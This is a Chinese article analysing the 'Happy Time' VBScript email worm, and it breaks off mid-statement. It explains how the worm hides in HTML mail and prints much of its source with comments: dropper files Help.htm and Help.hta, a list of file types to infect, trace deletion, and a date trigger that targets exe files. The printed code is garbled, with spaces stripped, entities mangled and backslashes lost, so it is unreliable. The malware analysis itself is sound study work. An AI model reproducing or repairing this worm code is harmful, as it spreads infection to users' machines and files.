欢乐时光代码分析的.docVIP

欢乐时光代码分析 “欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（TypeLibrary）成功地避开了安全审核的手段更是令人叹为观止。　　下面让我们来看看它藏在快乐的外衣下的是什么吧！***************欢乐时光***************RemIamsorry#33;happytimeOnErrorResumeNextMload#146;以上为病毒入口，并加上Iamsorry#33;happytime的注释，以表明此文件已被感染过。Submload()OnErrorResumeNextmPath=Grf()SetOs=CreateObject(quot;Scriptlet.TypeLibquot;)SetOh=CreateObject(quot;Shell.Applicationquot;)#146;建立枚举对象，避开了安全审核IfIsHTMLThen#146;调用IsHtml函数，如果是Html，就小写……mURL=LCase(document.Location)IfmPath=quot;quot;ThenOs.ResetOs.Path=quot;C:Help.htmquot;Os.Doc=Lhtml()Os.Write()#146;如果mPath为空，就在C盘下生成Help.htmIhtml=quot;quot;#146;超文本的内容，并指向C:Help.HtmCalldocument.Body.insertAdjacentHTML(quot;AfterBeginquot;,Ihtml)ElseIfIv(mPath,quot;Help.vbsquot;)ThensetIntervalquot;Rt()quot;,10000Elsem=quot;htaquot;IfLCase(m)=Right(mURL,Len(m))Thenid=setTimeout(quot;mclose()quot;,1)#146;设置超时条件mainElseOs.Reset()Os.Path=mPathamp;quot;quot;amp;quot;Help.htaquot;Os.Doc=Lhtml()Os.write()IvmPath,quot;Help.htaquot;#146;生成Help.htaEndIfEndIfEndIfElseMain#146;都不是，就执行main函数EndIfEndSub#146;******************************************************************#146;以下为主函数，太长了！Submain()OnErrorResumeNextSetOf=CreateObject(quot;Scripting.FileSystemObjectquot;)#146;不用说，创建FileSystemObject对象啦SetOd=CreateObject(quot;Scripting.Dictionaryquot;)#146;创建Dictionary对象,用来保存数据键和项目对，它实际上是一个比较开放的数组Od.Addquot;htmlquot;,quot;1100quot;Od.Addquot;vbsquot;,quot;0100quot;Od.Addquot;htmquot;,quot;1100quot;Od.Addquot;aspquot;,quot;0010quot;#146;向Dictionary对象添加要感染的项目对Ks=quot;HKEY_CURRENT_USERSoftwarequot;#146;使用变量以减少代码长度Ds=Grf()Cs=Gsf()IfIsVbsThen#146;如果是VBSIfOf.FileExists(quot;C:help.htmquot;)ThenOf.DeleteFile(quot;C:help.htmquot;)#146;如果c:help.htm存在，就删掉，消灭遗留的痕迹EndIfKey=CInt(Month(Date)+Day(Date))IfKey=13Then#146;如果月与日之和为13（这也是它变种多的原因——将13改为其他数字即可）Od.RemoveAllOd.Addquot;exequot;,quot;0001quot;Od.Addquot;